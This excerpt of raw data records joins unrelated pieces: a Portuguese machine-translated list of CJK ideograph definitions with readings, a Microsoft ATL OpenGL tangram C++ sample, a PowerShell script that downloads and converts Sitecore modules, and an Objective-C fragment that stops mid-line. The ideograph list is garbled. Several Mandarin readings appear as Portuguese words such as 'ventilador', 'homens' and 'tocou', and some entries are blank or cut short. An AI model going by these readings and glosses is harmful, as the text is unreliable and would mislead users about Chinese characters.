cobrindo feito de tiras de bambu CJK : lap6 lip6 : mentira\n426E: Ideograma para plantar; para configurar, para danificar, para perder, fraco CJK : leon6 long5 mong4 : ln\n426F: Ideograph secado em bambu CJK : gaa3 haang1 zim3 zin6 : xiàn\n4270: Ideograph brotos de bambu, (o mesmo que 筊) uma corda feita de tiras de bambu, um tipo de dispositivo de bambu usado em adivinhação CJK : ngau4 : xiào\n4271: Ideograph um berço CJK : aau1 : ōu\n4272: Ideograph finas e planas de bambu usadas para tecer finalidade CJK : nei4 : mi\n4273: Nome ideográfico de uma variedade de bambu, um domicílio; registro da população CJK : sin1 : xian\n4274: Ideograph um bambu para coletar e manter algo dentro, um tipo de bambu usado para pingar arroz CJK : zoeng4 : tocou\n4275: Ideógrafo (o mesmo que 饌) para alimentar, prover, preparar comida; comer e beber; iguarias, guloseimas CJK : gyun6 zan6 zyun2 : zhuàn\n4276: Ideograph uma vela (de um barco), um untensil feito do bambu usado para filtrar ou esticar para fora o vinho CJK : soeng1 : shuāng\n4277: Ideograph uma tela de pena, uma sombra, jardim imperial CJK : lam4 zim4 : yán\n4278: Slides de ideograma de bambu para escrever CJK : bin6 : biàn\n4279: Ideograph (mesmo que 䉁) nome de uma variedade de bambu, bambu CJK : ling4 : líng\n427A: O ideógrafo se deteriora e fica vermelho; arroz velho; arroz em decomposição, arroz vermelho; (Cant.) O cheiro de arroz CJK longo-armazenado : hong2 : hóng\n427B: Ideograph arroz vermelho, arroz grosso CJK : kei4 : qi\n427C: Ideografia (forma não clássica de 料) materiais; ingredientes CJK : liu6 : liào\n427D: Ideograma (o mesmo que 粄) bolo de arroz; bolo feito de arroz glutinoso CJK : ban2 : bǎn\n427E: Ideograma ruim; má qualidade de arroz CJK : bei3 bui6 pui3 : bi\n427F: Ideograph (igual a 糊) pasta; colar, pegajoso; glutinoso, para ficar CJK : wu4 : hú\n4280: Ideograph (igual a 䉿) (o mesmo que 糊) pasta; colar, pegajoso; glutinoso, para ficar CJK : wu4 : hú\n4281: Ideograph (mesmo que U + 7C78 籸); recusar (a partir de gêneros alimentícios, petróleo, petróleo, etc,; siftings, congee; mingau de arroz (a parte da superfície); uma espécie de arroz cozido CJK : caap1 saan1\n4282: Ideograma de má qualidade do arroz; bolos de arroz ruins furar uns aos outros CJK : caak3 : c\n4283: Ideografia misturando arroz com caldo, um grão de arroz CJK : paau2 pui3 : pèi\n4284: Ideograph arroz polido CJK : kung4 : qióng\n4285: Ideograph para embeber arroz CJK : maat6 ming4 : Ming\n4286: Ideografia cozida, farinha de arroz seco, (mesmo que 糗) grão seco curado; trigo ou arroz ralado CJK : kaau3 : jiù\n4287: Ideograma (o mesmo que 餔) para alimentar; para comer, (tempo intercambiável) para o jantar, pôr do sol CJK : bou6 : bù\n4288: Ideograph (mesmo que 酶) grãos de destilaria ou levedura CJK : mui4 : mais\n4289: Ideograph preservado frutas, pepinos, cabaças, etc. CJK : sam2 : sǎn\n428A: Ideograph bem cozidos mingau ou arroz CJK : mei6 : wèi\n428B: Ideógrafo (igual a 妝) para adornar-se, para disfarçar, para fingir CJK : zong1\n428C:\n428D: Ideograph thick congee ou mingau; bem cozidos mingau ou mingau, (mesmo que 黎) muitos; numerosos CJK : ci1 lei4 : lí\n428E: Pó ideográfico; farinha, para rolar com a mão, congee grosso ou mingau CJK : hyun3 : Quin\n428F: Ideograph (forma não clássica de U + 7CC2 糝) misturando arroz com caldo, um grão de arroz CJK : sam2\n4290: Ideograph (mesmo que 餛) bolinhos recheados fofos; bolinho de massa enchido com envolvimento delicado da farinha; ravioli CJK : wan4 : hún\n4291: Ideógrafo (mesmo que 餉 饟) pagar, provisões, etc. para militares ou policiais, para entreter com comida; banquetear CJK : hoeng2 : xiǎng\n4292: Ideógrafo (o mesmo que 精) refinado; arroz polido); sem mistura, a essência, fina e delicada, aguçada; CJK afiada : zing1\n4293: Ideograph para colar; para anexar a; para stickup; para colar CJK : si6 zi6 : shì\n4294: Arroz polido ideográfico; arroz refinado CJK : zing1 : ying\n4295: Ideograma (o mesmo que 饘) mingau ou mingau bem cozido, grosso e rico CJK : gin1\n4296: Ideograph para comer mingau de arroz misturado com carne CJK : faat1 nam5 : nǎn\n4297: Ideograma uma espécie de grão; cor amarela; não pegajoso, (mesmo que 餭) frito desfiado, ameixas; doces CJK : wong4 : Huang\n4298: Ideograph um grão (de arroz, etc.) CJK : zaau6 : jiù\n4299: Ideograph cozido ou bem feito, maduro, arroz fino CJK : hin2 zin4 zin6 : yan\n429A: Bolinhos de vapor de ideografia CJK : deoi1 zeoi1\n429B: Fragmentos ideográficos; lascas (de arroz) CJK : saat3 : sà\n429C: Ideograph (mesmo que 糰) dumplings; donuts CJK : tyun4 : Tuán\n429D: Ideografia para o exílio; banir CJK : sit3 : xiè\n429E: Ideograph para rolar com a mão; colar; para anexar a; ficar de pé; para colar, má qualidade de arroz CJK : zaak6 : zhé\n429F: Ideógrafo adornado; embelezado; decidir; coisa brilhante, grossa e pegajosa na superfície do congee; mingau de arroz CJK : mun4 : homens\n42A0: Ideógrafo (igual a 氣 餼) para fornecer um suprimento de grãos para rações, grãos, uma vítima sacrificial, explicada como usada da fera viva CJK : hei3 : XI\n42A1: Ideograma (mesmo que forma não clássica) pão cozido no vapor; pão de qualquer espécie; bolinhos cozidos CJK : mun4 : homem\n42A2: Ideograph (mesmo que 漿) fluido grosso; amido; para amido CJK : zoeng1\n42A3: Ideograph luz amarelo fungoid pó-como crescimento em vinho, etc., cevada, palha ou cascas de trigo (forma não-clássica de 餭) frito puffy shredded, sugar-ameixas; doces CJK : wong4 : Huang\n42A4: Vegetal ideográfico misturado com sopa grossa (caldo), mingau; gruel CJK : taam4 : bronzeado\n42A5: Ideograma congee; mingau; mingau de arroz, amassado; CJK podre : siu3 : xiào\n42A6: Comida ideográfica (alguns alimentos como tamale de arroz glutinoso - feita enrolando o arroz em folhas largas de junco e cozida por algumas horas - normalmente com outros ingredientes, como tâmaras, carne, ostra, vigas, etc. CJK : zit3 : vós\n42A7: Ideógrafo (o mesmo que 屁) um peido; para quebrar o vento CJK : baai3 pei3 : bi\n42A8: Ideografia armazenando grãos; armazenar comida CJK : lo4 : luó\n42A9: Molho de arroz ideográfico CJK : faan4 : ventilador\n42AA: Ideograph arroz integral - sem casca, (intercambiável 糲) grossa - de grãos CJK : lai6 : lì\n42AB: Ideograph arroz integral, arroz vermelho CJK : ceoi1 : cuǐ\n42AC: Nome ideográfico de uma variedade de grãos, hollyhock; a malva; raiz e flor podem ser usadas como remédio para neutralizar o veneno; antiphético (febrífugo) CJK : caa3 : chuā\n42AD: Ideógrafo para derrubar; derramar fora, responder, examinar cuidadosamente, furar, congee grosso CJK : dou6 : dào\n42AE: Nome ideógrafo de uma variedade de grãos CJK : dek6 : dí\n42AF: Ideógrafo (da mesma forma padrão 穬) grãos com barba (planta de arroz, trigo, etc.) planta de arroz imaturo CJK : kong4 kwong3 : kuang\n42B0: Ideograph foodstuff; provisões; grãos para consumo humano CJK : cyu5 : chú\n42B1: Bolos ideográficos feitos de farinha de arroz CJK : cim1 sim2 zaam1 : xian\n42B2: Ideograph para descascar arroz (para fazer uma corrida rápida do arroz); arroz grosso, moer (grãos, milho, etc) CJK : can2 : chàn\n42B3: Ideógrafo para quebrar em pedaços; para esmagar; completamente esmagado, chips; migalhas refinadas; arroz polido); CJK não misturado : mei4 : mi\n42B4: Comida ideográfica feita de farinha de arroz CJK : him3 : qiàn\n42B5: Ideograph jovem e pequeno, (mesmo que 絿) rash e impaciente CJK : kau4 : qiú\n42B6: Ideógrafo (igual a 紖) uma corda para gado principal CJK : zaan5 zaan6 : zhèn\n42B7: Ideógrafo (o mesmo que 緇) seda preta; uma cor escura e monótona, usada pelos budistas, da cor escura de suas vestes (igual a 純) CJK puro e honesto : zi1\n42B8: Ideógrafo (forma padrão de 紆) para torcer; para distorcer, um cordão CJK : heoi1 zyu1\n42B9: Ideógrafo (uma forma abreviada de 纖) pequeno, fino e delicado CJK : cim1\n42BA: Ideograph um implemento para desenhar ou coletar cordas ou cabos CJK : wu6 : hù\n42BB: Ideograph sedoso, muito fino thread CJK : zim1 : gãn\n42BC: Unidade de medição ideográfica; fim de seda estragada CJK : ci2 : chǐ\n42BD: Ideograph um fio fino, fio de linho; fio de seda; um fio; um fio CJK : gwaai3 : guai\n42BE: Cordas ideográficas; cordas; cabos CJK : muk6 : mù\n42BF: Ideógrafo (o mesmo que 衭) lapela ou gola de uma peça de vestuário ou manto, gavetas, calças ou calça (dialeto) CJK : fu1 : bó\n42C0: Sapatos ideográficos feitos de cânhamo ou cabelo CJK : kwaa3 : huà\n42C1: Ideógrafo (forma antiga 綆) uma corda para desenhar água (de um poço, riacho, etc.) CJK : au3 gaang2 : gng\n42C2: Ideograph vestidos para a noiva, cor verde, cor amarela, (intercambiável 絞) uma cor amarela esverdeada CJK : ngau4 : yáo\n42C3: Picada de ideografia; tecidos de seda peluda CJK : mou6 : mào\n42C4: Ideografia (igual a 網) web; líquido; rede CJK : leon4 mong5 : wng\n42C5:\n42C6:\n42C7:\n42C8: Ideografia para ligar cânhamo solto, fio velho, para encher; encher, desperdiçar seda ou algodão e seda a serem postos e unidos uns aos outros; para preenchimento; amortecimento CJK : zyu4 : rú\n42C9: Ideógrafo (intercambiável 䊽) um adjunto numerário (classificador) para praticamente tudo; um fio; um fio, roupas para os mortos, fio de linho; fio de seda CJK : kyut3 zyut6 : xué\n42CA: Decorações ideográficas da carruagem do imperador; artigos ornamentais em cavalos CJK : zing1 : zhēng\n42CB: Ideógrafo (o mesmo que 罠) um tipo de rede de pesca de primavera CJK : man4 : min\n42CC: Ideografia (forma antiga 堅) forte; durável; sólido; empresa; estável, (o mesmo que 䋗) apertado; firme, pressionando CJK : gin1 kin4 : jiǎng\n42CD: Ideograph (uma forma abreviada de 䋪) seda fina e delicada, pano de saco branco liso para luto CJK : o1\n42CE: Ideógrafo para consertar (roupas, etc.), (intercambiável 綻) costuras rasgadas; uma rachadura; dividir CJK : zan2 zan6 : zhàn\n42CF: Cordas e cordões de alta densidade e ideografia; cabos volumosos, seda estragada CJK : zok6 : zuó\n42D0: Tecido ideográfico; têxtil com padrões usados ​​para decorações hem, decorações na carruagem e cavalos, seda multicolorida ou pano fino solto na textura CJK : zyut6 : yuè\n42D1: Ideógrafo para amarrar; fazer um nó, juntar-se a CJK : bing2 : mentira\n42D2: Ideograph (forma corrompida de 紓) para relaxar, para libertar de CJK : nou6 sit3 syu1\n42D3: Ideograph (forma abreviada 縐) enrugada, para encolher, crepe, um pano grosso, amarelado para o desgaste do verão CJK : zau3 : zhòu\n42D4: Ideógrafo para se unir; torcer; torcer e dispersar fibra então fazer seda magra, pano, fio de algodão ou corda CJK : bit1 : bi\n42D5: Ideógrafo (o mesmo que U + 7D4D 紝) para colocar a urdidura; tecer CJK : zaam6 zi1 : rèn\n42D6: Ideógrafo longo, um vestido; um vestido longo CJK : leot6 waat6 : você\n42D7: Ideógrafo (igual a 䋌) (igual a 堅) forte e durável, sólido e firme; justa; pressionando CJK : gin1 zin2\n42D8: Ideógrafo (o mesmo que 縋) a mão por uma corda; derrubar por uma corda CJK : teoi4 zeoi6 : chuò\n42D9: Rédins ideográficos; rédea CJK : ngaai6 zi5 : ěr\n42DA: Ideógrafo (mesmo que 翼) asas, barbatanas, para ajudar, para proteger CJK : zik6 : yì\n42DB: Ideograph os padrões de bordado em cluster (como arroz pequeno e fino) CJK : mai5 : mǐ\n42DC: Ideograma (o mesmo que 綮) pontos cruciais; pontos críticos, uma faixa bordada, bainha para uma cabeça de lance CJK : hing3 : qng\n42DD: Ideografia (forma abreviada de 纓) uma banda de garganta; cinta de queixo para segurar o chapéu, borla; uma franja CJK : zing1\n42DE: Ideografia (forma abreviada de 網) web; líquido; rede CJK : maau5 mong4 mong5 mou5 : wng\n42DF: Ideograph o peso em uma balança romana, pontos conectados CJK : gei6 : jì\n42E0: Ideógrafo (intercambiável to) para reparo; para consertar, para adicionar, para compor CJK : Bou2 : bǔ\n42E1: Ideógrafo (igual a 紓) (intercambiável 舒) para relaxar, para liberar de CJK : syu1\n42E2: Ideógrafo para torcer cordas, um cinto ou corda para segurar o arco, amarrar; para ligar, o carrinho voltando para a esquerda, para desenhar ou puxar (de um carrinho), para lamentar CJK : bit3 : bi\n42E3: Decorações ideográficas colocadas na juba ou na crina de cavalo, (forma padrão de 繁) muitas, incômodas, um nome de família CJK : faan4 : ventilador\n42E4: Seda branca lisa da ideografia, para amaciar e whiten a seda crua fervendo CJK : zoek6 zoeng2 : yuè\n42E5: Linhas ideográficas; listras; veias CJK : laai6 lei4 : lí\n42E6: Ideograph seda ravelled CJK : faan4 : ventilador\n42E7: Ornamentos ideográficos (mesmo que 絇) para a parte frontal dos sapatos CJK : keoi4 : qú\n42E8: Ideografia para colocar em ordem o velho, cru, grosso, seda ou algodão CJK : fu2 fu3 : fǔ\n42E9: Ideograph bonita e tecidos finos de seda CJK : zi4 : ér\n42EA: Ideógrafo (intercambiável 䋍) seda fina e delicada, pano de saco branco liso para luto CJK : o1 : ē\n42EB: Ideógrafo para enrolar as cordas, torto; enrolamento; curvas; voltas; curvas; voltas e reviravoltas, para tocar um som de corda apressada (rápida) (de um instrumento musical) CJK : zang1 : zhēng\n42EC: Tapete ideográfico; tapete; cobertor; tecidos de lã; Artigos de lã; material de lã; tecidos de lã CJK : zim1 : tiān\n42ED: Ideograph para tecer tecidos de seda com cor verde para longitude e branco para latitude, tecidos de seda de Yuyang CJK : zuk6 zung2 : você\n42EE: Ideograph (o selo grande; um tipo de caligrafia chinesa) (mesmo que 紟) uma faixa, amarrar, uma espécie de tecido ou têxteis, lapela de um vestido chinês, uma colcha única CJK : gaam1 kim4 : jìn\n42EF: Ideograma (o mesmo que 綮) pontos cruciais; pontos críticos, uma faixa bordada, bainha para uma cabeça de lance CJK : hing3 kaai2 : q\n42F0: Ideógrafo para ligar ou restringir; contenção; restrição, tímida e desajeitada, ao redor; emaranhar, conectar-se; para se juntar, juntamente com CJK : guk6 : jú\n42F1: Ideograph (mesmo que 斄) um iaque selvagem, cabelo duro e curvado, nome de um condado nos tempos antigos CJK : loi4 : lái\n42F2: Ideograph (forma não clássica de U + 7E69 繩) uma corda; uma corda, para conter, para retificar; para corrigir CJK : mang5 sing4 zaan6 : chě\n42F3: Ideograma (o mesmo que 褙) pano ou papel colado; papelão; montar (pinturas ou trabalhos caligráficos), roupas curtas CJK : bui3 : běi\n42F4: Tecidos de seda ideográfica com cores misturadas CJK : zaau2 : niù\n42F5: Ideograph rápido, urgente, ansioso, não vai ter sucesso, má qualidade de tecidos de seda CJK : zi3 zit3 : yì\n42F6: Ideograph para tropeçar; para tropeçar nos pés da frente de uma fera, uma espécie de brocado de Shu CJK : seoi1 : xǔ\n42F7: Ideograph uma espécie de tecido de seda crua grossa, frouxamente tecido CJK : laau4 maau4 : móu\n42F8: Ideograph back center sutura das roupas CJK : ceon4 : xún\n42F9: Ideógrafo (igual a 幅) largura do material (tecido ou papel, etc.) CJK : fuk1 : fú\n42FA: Ideógrafo (igual a 鞦) um balanço (o mesmo que U + 97A7 緧) uma garupa; traços CJK : cau1\n42FB: Ideograph para girar e tecer, igual; uniforme; (mesmo que U + 7D1D 紝) para colocar a urdidura; tecer CJK : nei5 : nín\n42FC: Ideógrafo lento; vagarosamente, atrasar; para afrouxar, fitas de seda CJK : ting1 : tng\n42FD: Sandálias de hemisfério, sapatos de couro (para crianças) CJK : pung2 : běng\n42FE: Ideograph algodão e seda para ser colocado e anexado uns aos outros CJK : naa5 zap3 : zhǎ\n42FF: Ideograph um nó decorativo feito de seda colorida (azul, amarelo, vermelho, branco e preto) CJK : wui1 : ē ē"} {"text": "demos\n"} {"text": "// AtlTangramGLVisual.cpp : Implementation of CAtlTangramGLVisual\n//\n// This is a part of the Active Template Library.\n// Copyright (c) Microsoft Corporation. All rights reserved.\n//\n// This source code is only intended as a supplement to the\n// Active Template Library Reference and related\n// electronic documentation provided with the library.\n// See these sources for detailed information regarding the\n// Active Template Library product.\n\n#include \"stdafx.h\"\n#include \"GLWorld.h\"\n#include \"TanGLVis.h\"\n#include \"event_i_i.c\"\n#include <windows.h>\n#include <olectl.h>\n\n// STL Interfaces\n#include <new.h>\n#include <algorithm>\n#include <xmemory>\n#include <list>\n#include \"util.h\"\n#include \"util.cpp\"\n#include \"CGL.h\"\n#include \"CGL.cpp\"\n#include \"CGL-Pal.cpp\"\n\n// Interfaces\n#include \"TanCanv_i.c\"\n#include \"AtlModel.h\"\n#include \"GdiWorld.h\"\n#include \"GdiWorld_i.c\"\n\n// Sub-Components.\n#include \"AtlModel_i.c\"\n\n// Other\n#include <math.h>\n#include <gl/gl.h>\n#include <gl/glu.h>\n\n///////////////////////////////////////////////////////////\n//\n// Destructor\n//\nCAtlTangramGLVisual::~CAtlTangramGLVisual()\n{\n\n\t// We keep a strong reference to the model.\n\t// Therefore, we need to release it here.\n\tm_pModel->Release();\n\tm_pModel = NULL;\n\n\t// We maintain a weak reference to GdiWorld to avoid\n\t// reference cycles. A weak reference means that we\n\t// do not need to Release m_pGdiWorld here.\n\n\t// Delete the vertex array.\n\tdelete [] m_ptVertices;\n}\n\n///////////////////////////////////////////////////////////\n// ITangramVisual\n// ITangramVisual::SetSelected Implementation.\n\nHRESULT CAtlTangramGLVisual::SetSelected(BOOL bSelected)\n{\n\tm_bSelected = bSelected;\n\n\t// Update the display.\n\tHRESULT hr = m_pWorld->Animate();\n\tASSERT_HRESULT(hr);\n\n\treturn S_OK;\n}\n\n///////////////////////////////////////////////////////////\n// ITangramGLVisual::GetModel Implementation\n\nHRESULT CAtlTangramGLVisual::GetModel(const IID& iid, IUnknown** ppI)\n{\n\tif (!IsValidInterfaceOutParam(ppI))\n\t{\n\t\tASSERT(0);\n\t\treturn E_POINTER;\n\t}\n\n\treturn m_pModel->QueryInterface(iid, (void**)ppI) ;\n}\n\n///////////////////////////////////////////////////////////\n// ITangramGLVisual\n// ITangramGLVisual::Initialize Implementation\n\nHRESULT __stdcall\nCAtlTangramGLVisual::Initialize(IATLTangramModel* pModel,\n\tIAtlTangramGLWorld* pWorld)\n{\n\tif (!IsValidInterface(pModel)|| !IsValidInterface(pWorld))\n\t{\n\t\tASSERT(0);\n\t\treturn E_POINTER;\n\t}\n\n\tif (m_pModel != NULL || m_pWorld != NULL)\n\t{\n\t\t// Cannot re-initialize.\n\t\tASSERT(0);\n\t\treturn E_FAIL;\n\t}\n\n\t// Keep a strong reference to the model.\n\tm_pModel = pModel;\n\tm_pModel->AddRef();\n\n\t// To avoid a cyclical reference count, we have a\n\t// weak reference to GLWorld. Therefore, we do\n\t// not AddRef this pointer.\n\tm_pWorld = pWorld;\n\n\t// Get the number of vertices in the model.\n\tHRESULT hr = m_pModel->GetNumberOfVertices(&m_cVertices);\n\tASSERT_HRESULT(hr);\n\n\t// Create an array to hold the vertices.\n\tm_ptVertices = new TangramPoint2d[m_cVertices];\n\n\t// Set up event sync\n\t// Create a sink object.\n\tTCHAR buf[128];\n\twsprintf(buf, _T(\"Visual: m_dwRef = %d\\n\"), m_dwRef);\n\tATLTRACE(buf);\n\n\t// Get the connection point container.\n\tIConnectionPointContainer* pContainer = NULL;\n\thr = pModel->QueryInterface(IID_IConnectionPointContainer,\n\t\t(void**)&pContainer);\n\tASSERT_HRESULT(hr);\n\n\t// Get our desired connection point. Cache the pointer so\n\t// we don't have to get it again.\n\thr = pContainer->FindConnectionPoint(IID_IATLTangramModelEvent,\n\t\t&m_pIConnectionPoint);\n\tpContainer->Release();\n\tASSERT_HRESULT(hr);\n\n\tIATLTangramModelEvent* pIATLTangramModelEvent;\n\thr = GetUnknown()->QueryInterface(IID_IATLTangramModelEvent,\n\t\t(void**)&pIATLTangramModelEvent);\n\twsprintf(buf, _T(\"Visual: m_dwRef = %d\\n\"), m_dwRef);\n\tATLTRACE(buf);\n\n\t// Ask the visual to advise us of any changes.\n\thr = m_pIConnectionPoint->Advise(pIATLTangramModelEvent, &m_dwCookie);\n\tASSERT_HRESULT(hr);\n\n\twsprintf(buf, _T(\"Visual: m_dwRef = %d\\n\"), m_dwRef);\n\tATLTRACE(buf);\n\n\t// We don't need to keep a reference to the sink.\n\tpIATLTangramModelEvent->Release();\n\twsprintf(buf, _T(\"Visual: m_dwRef = %d\\n\"), m_dwRef);\n\tATLTRACE(buf);\n\treturn S_OK;\n}\n\n\n///////////////////////////////////////////////////////////\n// ITangramGLVisual::DrawOn Implementation\n\nHRESULT CAtlTangramGLVisual::DrawOn(IAtlTangramCanvas* pCanvas)\n{\n\t// Preconditions.\n\tif (!m_bFirstEvent)\n\t{\n\t\t// We have not received a model change event to initialize use.\n\t\treturn S_FALSE;\n\t}\n\n\tif (!IsValidInterface(pCanvas))\n\t{\n\t\tASSERT(0);\n\t\treturn E_POINTER;\n\t}\n\n\tdouble thickness = 0.01;\n\n\tif (m_bSelected)\n\t\tglPolygonMode(GL_FRONT_AND_BACK, GL_LINE);\n\n\t// Bottom\n\tglNormal3d(0.0, 0.0, -1.0);\n\tglBegin(GL_TRIANGLE_FAN);\n\t\tfor (int i = 0; i < m_cVertices; i++)\n\t\t\tglVertex2d(m_ptVertices[i].x, m_ptVertices[i].y);\n\n\tglEnd();\n\n\t// Top\n\tglNormal3d(0.0, 0.0, 1.0);\n\tglBegin(GL_TRIANGLE_FAN);\n\t\tfor (i = 0; i < m_cVertices; i++)\n\t\t\tglVertex3d(m_ptVertices[i].x, m_ptVertices[i].y, thickness);\n\tglEnd();\n\n\t// Sides\n\tfor (i = 0; i < m_cVertices; i++)\n\t{\n\t\tint iNextIndex = (i+1) % m_cVertices;\n\n\t\t// Compute Normal [v1 - v2] X [v2 - v3] see page 58 of RedBook\n\n\t\t// V1 = v1 - v2\n\t\tdouble X1 = m_ptVertices[i].x - m_ptVertices[iNextIndex].x;\n\t\tdouble Y1 = m_ptVertices[i].y - m_ptVertices[iNextIndex].y;\n\t\tdouble Z1 = 0.0; // 0.0f - 0.0f;\n\n\t\t// V2 = v2 - v3\n\t\tdouble X2 = 0.0; //m_ptVertices[iNextIndex].x - m_ptVertices[iNextIndex].x;\n\t\tdouble Y2 = 0.0; //m_ptVertices[iNextIndex].y - m_ptVertices[iNextIndex].y;\n\t\tdouble Z2 = -thickness; // 0.0 - thickness;\n\n\t\t// V = V1 X V2\n\t\tdouble X = Y1 * Z2; //Y1*Z2 - Z1*Y2 = Y1*Z2 - 0.0*0.0;\n\t\tdouble Y = -X1 * Z2; //Z1*X2 - X1*Z2 = 0.0*0.0 - X1*Z2\n\t\t//double Z = 0.0; //X1*Y2 - Y1*X2;\n\n\t\t// Normalize\n\t\tdouble d = sqrt(X*X + Y*Y /*+ Z*Z*/);\n\t\tASSERT( d != 0.0);\n\t\tX /= d;\n\t\tY /= d;\n\t\t//Z /= d;\n\n\t\tglNormal3d(X, Y, 0.0/*Z*/);\n\n\t\tglBegin(GL_QUADS);\n\t\t\tglVertex3d(m_ptVertices[i].x, m_ptVertices[i].y, 0.0);\n\t\t\tglVertex3d(m_ptVertices[iNextIndex].x,\n\t\t\t\tm_ptVertices[iNextIndex].y, 0.0);\n\t\t\tglVertex3d(m_ptVertices[iNextIndex].x,\n\t\t\t\tm_ptVertices[iNextIndex].y, thickness);\n\t\t\tglVertex3d(m_ptVertices[i].x, m_ptVertices[i].y, thickness);\n\t\tglEnd();\n\t}\n\n\tif (m_bSelected)\n\t\tglPolygonMode(GL_FRONT_AND_BACK, GL_FILL);\n\n\treturn S_OK;\n}\n\n///////////////////////////////////////////////////////////\n// ITangramModelEvent\n// ITangramModelEvent::OnModelChange\n\nHRESULT __stdcall CAtlTangramGLVisual::OnModelChange()\n{\n\t// Create an array to hold the new vertices.\n\tTangramPoint2d* pointds = new TangramPoint2d[m_cVertices];\n\n\t// Get the vertices from the model.\n\tHRESULT hr = m_pModel->GetVertices(m_cVertices, pointds);\n\tASSERT_HRESULT(hr);\n\n\t// Convert the vertices to our coordinates.\n\tfor (int i = 0; i < m_cVertices; i++)\n\t{\n\t\thr = m_pWorld->ModelToDevice(pointds[i], &m_ptVertices[i]);\n\t\tASSERT_HRESULT(hr);\n\t}\n\n\t// Cleanup;\n\tdelete [] pointds;\n\n\t// We are in sync.\n\tm_bFirstEvent = TRUE;\n\n\t// Update the display.\n\thr = m_pWorld->Animate();\n\tASSERT_HRESULT(hr);\n\n\treturn S_OK;\n}\n\nSTDMETHODIMP CAtlTangramGLVisual::ReleaseConnectionPoint()\n{\n\tHRESULT hr = S_OK;\n\t// Release the event source component.\n\tif (m_pIConnectionPoint != NULL)\n\t{\n\t\t// We no longer need to be enformed of events\n\t\tHRESULT hr = m_pIConnectionPoint->Unadvise(m_dwCookie);\n\t\tASSERT_HRESULT(hr);\n\t\tm_pIConnectionPoint->Release();\n\t}\n\treturn hr;\n}\n"} {"text": "\n\n[CmdletBinding(SupportsShouldProcess = $true)]\n[System.Diagnostics.CodeAnalysis.SuppressMessageAttribute(\"PSAvoidUsingPlainTextForPassword\", \"SitecorePassword\")]\n[System.Diagnostics.CodeAnalysis.SuppressMessageAttribute(\"PSAvoidUsingPlainTextForPassword\", \"RegistryPassword\")]\n\nparam(\n [Parameter(Mandatory = $false)]\n [ValidateNotNullOrEmpty()]\n [string]$InstallSourcePath = (Join-Path $PSScriptRoot \"\\packages\")\n ,\n [Parameter(Mandatory = $false)]\n [ValidateNotNullOrEmpty()]\n [string]$SitecoreUsername\n ,\n [Parameter(Mandatory = $false)]\n [ValidateNotNullOrEmpty()]\n [string]$SitecorePassword\n\n\n)\n\n$sitecoreDownloadUrl = \"https://dev.sitecore.net\"\n\n$packages = @{\"Sitecore Azure Toolkit 2.4.0-r02514.1001.zip\" = \"https://dev.sitecore.net/~/media/B627BFA7070B40AD854A0FF08719381D.ashx\"\n \"Sitecore Publishing Module 9.3.0.0 rev. r00546.2197.zip\" = \"https://dev.sitecore.net/~/media/417C43AC4F334C4085D18925367FE79A.ashx\"\n \"Sitecore Publishing Module 10.0.0.0 rev. r00568.2697.zip\" = \"https://dev.sitecore.net/~/media/A06BC5BBBCA84F2F90AC08CB456A3801.ashx\"\n}\n\n# download packages from Sitecore download\n$packages.GetEnumerator() | ForEach-Object {\n\n $filePath = Join-Path $InstallSourcePath $_.Key\n $fileUrl = $_.Value\n\n if (Test-Path $filePath -PathType Leaf) {\n Write-Host (\"Required package found: '{0}'\" -f $filePath)\n }\n else {\n if ($PSCmdlet.ShouldProcess($fileName)) {\n Write-Host (\"Downloading '{0}' to '{1}'...\" -f $fileUrl, $filePath)\n\n if ($fileUrl.StartsWith($sitecoreDownloadUrl)) {\n # Login to dev.sitecore.net and save session for re-use\n if ($null -eq $sitecoreDownloadSession) {\n Write-Verbose (\"Logging in to '{0}'...\" -f $sitecoreDownloadUrl)\n\n $loginResponse = Invoke-WebRequest \"https://dev.sitecore.net/api/authorization\" -Method Post -Body @{\n username = $SitecoreUsername\n password = $SitecorePassword\n rememberMe = $true\n } -SessionVariable \"sitecoreDownloadSession\" -UseBasicParsing\n\n if ($null -eq $loginResponse -or $loginResponse.StatusCode -ne 200 -or $loginResponse.Content -eq \"false\") {\n throw (\"Unable to login to '{0}' with the supplied credentials.\" -f $sitecoreDownloadUrl)\n }\n\n Write-Verbose (\"Logged in to '{0}'.\" -f $sitecoreDownloadUrl)\n }\n\n # Download package using saved session\n Invoke-WebRequest -Uri $fileUrl -OutFile $filePath -WebSession $sitecoreDownloadSession -UseBasicParsing\n }\n else {\n # Download package\n Invoke-WebRequest -Uri $fileUrl -OutFile $filePath -UseBasicParsing\n }\n }\n }\n\n}\n\n$Destination = Join-Path $PSScriptRoot \"packages\"\n\n# Install Azure toolkit\nWrite-Host \"Prepare Azure toolkit\"\n\n$sat = (Join-Path (Get-Item $PSScriptRoot).FullName \"tools\\sat\")\n\nWrite-Host \"Sitecore Azure Toolkit directory $sat\"\n\n# Ensure Azure SAT destination exists\nif (!(Test-Path $sat -PathType \"Container\")) {\n Write-Host \"Create SAT directory $sat\"\n New-Item $sat -ItemType Directory -WhatIf:$false | Out-Null\n}\n\n# extract Sitecore Azure Toolkit\nGet-ChildItem -Path $Destination -Filter \"*Azure Toolkit*\" -Recurse | Select-Object -First 1 | Expand-Archive -DestinationPath $sat -Force\n\n# import Azure toolkit\nWrite-Host \"Import Sitecore Azure Toolkit\"\nImport-Module (Join-Path $sat \"tools\\Sitecore.Cloud.Cmdlets.dll\") -Force\n\n# Find publishing ,odule\n$zips = Get-ChildItem -Recurse -Path $Destination -Include \"Sitecore Publishing Module*\" -Exclude \"*scwdp*\"\n\n$zips | ForEach-Object {\n Write-Host \"Convert to WDP $_\"\n ConvertTo-SCModuleWebDeployPackage -Path $_ -Destination $Destination -Force\n}\n\nWrite-Host \"DONE\""} {"text": "//\n// ALAsset+JavaScriptBridge.m\n// JavaScriptBridge\n//\n// Created by kishikawa katsumi on 2014/01/05.\n// Copyright (c) 2014 kishikawa katsumi. All rights reserved.\n//\n\n#import \"ALAsset+JavaScriptBridge.h\"\n#import \"JSBMessageForwarding.h\"\n\n@implementation ALAsset (JavaScriptBridge)\n\n- (void)__writeModifiedImageDataToSavedPhotosAlbum:(NSData *)imageData\n metadata:(NSDictionary *)metadata\n completionBlock:(JSValue *)completionFunction\n{\n JSContext *context = [JSContext currentContext];\n id currentSelf = context[@\"self\"];\n \n ALAssetsLibraryWriteImageCompletionBlock completionBlock = NULL;\n if (!completionFunction.isUndefined) {\n completionBlock = ^(NSURL *assetURL, NSError *error) {\n NSMutableArray *parameters = [[NSMutableArray alloc] init];\n if (assetURL) {\n [parameters addObject:assetURL];\n } else {\n [parameters addObject:[NSNull null]];\n }\n if (error) {\n [parameters 